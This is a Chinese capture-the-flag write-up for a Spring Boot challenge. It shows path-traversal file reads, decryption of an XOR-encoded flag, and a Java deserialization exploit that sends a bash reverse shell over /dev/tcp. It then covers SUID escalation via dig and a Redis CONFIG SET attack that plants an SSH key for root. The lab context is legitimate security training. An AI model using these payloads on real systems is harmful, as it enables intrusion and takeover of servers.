本文最后更新于:2023年10月13日 晚上
网信柏鹭杯
web
综合题
小明用spring boot做了一个java文件的上传功能demo,放到了/app/下。(注:综合题6、7均为此题环境)
综合5
存在任意文件读取
/readfile?filename=../../../proc/self/cmdline
读取命令行命令
然后下载jar包/readfile?filename=../../../app/demo.jar
发现可疑源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
public String O0O = "6925cc02789c1d2552b71acc4a2d48fd";
private static String loadedRedisPassword;
public String o0o(String Ooo) { StringBuilder oOo = new StringBuilder(); for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) { char Oo0 = Ooo.charAt(o0O); char oOO = this.O0O.charAt(o0O % this.O0O.length()); char OOo = (char)(Oo0 ^ oOO); oOo.append(OOo); } return Base64.getEncoder().encodeToString(oOo.toString().getBytes()); }
|
gpt解密得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import java.util.Base64;
public class DecryptFlag { private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="; private String O0O = "6925cc02789c1d2552b71acc4a2d48fd";
public String decryptFlag() { byte[] encryptedData = Base64.getDecoder().decode(enc_flag1); StringBuilder decryptedFlag = new StringBuilder();
for (int i = 0; i < encryptedData.length; i++) { char encryptedChar = (char) encryptedData[i]; char keyChar = O0O.charAt(i % O0O.length()); char decryptedChar = (char) (encryptedChar ^ keyChar); decryptedFlag.append(decryptedChar); }
return decryptedFlag.toString(); }
public static void main(String[] args) { DecryptFlag decryptor = new DecryptFlag(); String decryptedFlag = decryptor.decryptFlag(); System.out.println("Decrypted Flag: " + decryptedFlag); } }
|
运行:Decrypted Flag: flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}
综合6
Ping#readObject()
1 2 3 4 5
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); String[] cmdArray = new String[]{this.command, this.arg1, this.arg2}; Runtime.getRuntime().exec(cmdArray); }
|
很明显的反序列化,直接编写反弹shell
1 2 3 4 5 6 7 8 9
| Ping ping = new Ping(); ping.setCommand("/bin/bash"); ping.setArg1("-c"); ping.setArg2("bash -i >& /dev/tcp/ip/7788 0>&1"); ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(ping); byte[] encode = Base64.getEncoder().encode(b.toByteArray()); System.out.println(new String(encode));
|
rO0ABXNyABVjb20uZXhhbXBsZS5kZW1vLlBpbmcAAAAAAAAAAQIAA0wABGFyZzF0ABJMamF2YS9sYW5nL1N0cmluZztMAARhcmcycQB+AAFMAAdjb21tYW5kcQB+AAF4cHQAAi1jdAAsYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMi83Nzg4IDA+JjF0AAkvYmluL2Jhc2g=
Upload类有一个路由接受反序列化参数
1 2 3 4 5 6 7 8 9 10 11
| @PostMapping({"/internalApi/v3.2/updateConfig"}) public String syncData(@RequestBody String payload) { try { byte[] data = Base64.getDecoder().decode(payload); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); Object obj = ois.readObject(); return "Data synced successfully"; } catch (IOException|ClassNotFoundException e) { return "Failed to sync data: " + e.getMessage(); } }
|
成功反弹shell
1 2 3 4 5 6 7 8
| ctf@be2f338edc3d:/$ ls /app/ ls /app/ Upload demo.jar hint.txt ctf@be2f338edc3d:/$ cat /app/hint.txt cat /app/hint.txt This flag is in /root/flag2ctf
|
查看发现没有权限,suid提权
1 2 3 4 5 6 7 8 9 10 11
| ctf@be2f338edc3d:/$ find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null /bin/umount /bin/su /bin/mount /usr/bin/chfn /usr/bin/gpasswd /usr/bin/chsh /usr/bin/passwd /usr/bin/newgrp /usr/bin/dig
|
发现一个dig,可以使用dig
提权,查看用法
dig -f /root/flag2
综合7
首先hostname -i
查看一下本地ip
1 2 3
| ctf@be2f338edc3d:/$ hostname -i hostname -i 172.17.0.2
|
由于我们前面发现spring配置文件的位置:spring.config.location=/usr/local/share/application.properties
读取一下:
1 2 3 4 5 6 7 8 9
| ctf@be2f338edc3d:/$ cat /usr/local/share/application.properties cat /usr/local/share/application.properties server.port=8080 server.servlet.context-path=/ management.endpoints.web.exposure.include=heapdump spring.redis.host=172.25.0.10 spring.redis.port=62341 spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a spring.servlet.multipart.max-file-size=10MB
|
发现了redis
的ip,port,以及redis密码,
首先需要搞一个,代理,把内网ip:172.25.0.10
代理出来
然后我们通过ssh-keygen -t rsa
生成rsa公钥和密钥
通过redis将公钥写入靶机
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
cat temp.txt|proxychains4 redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set key
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
save
|
成功写入公钥后,使用ssh连接,获得root权限
1
| ssh -i id_rsa root@172.25.0.10
|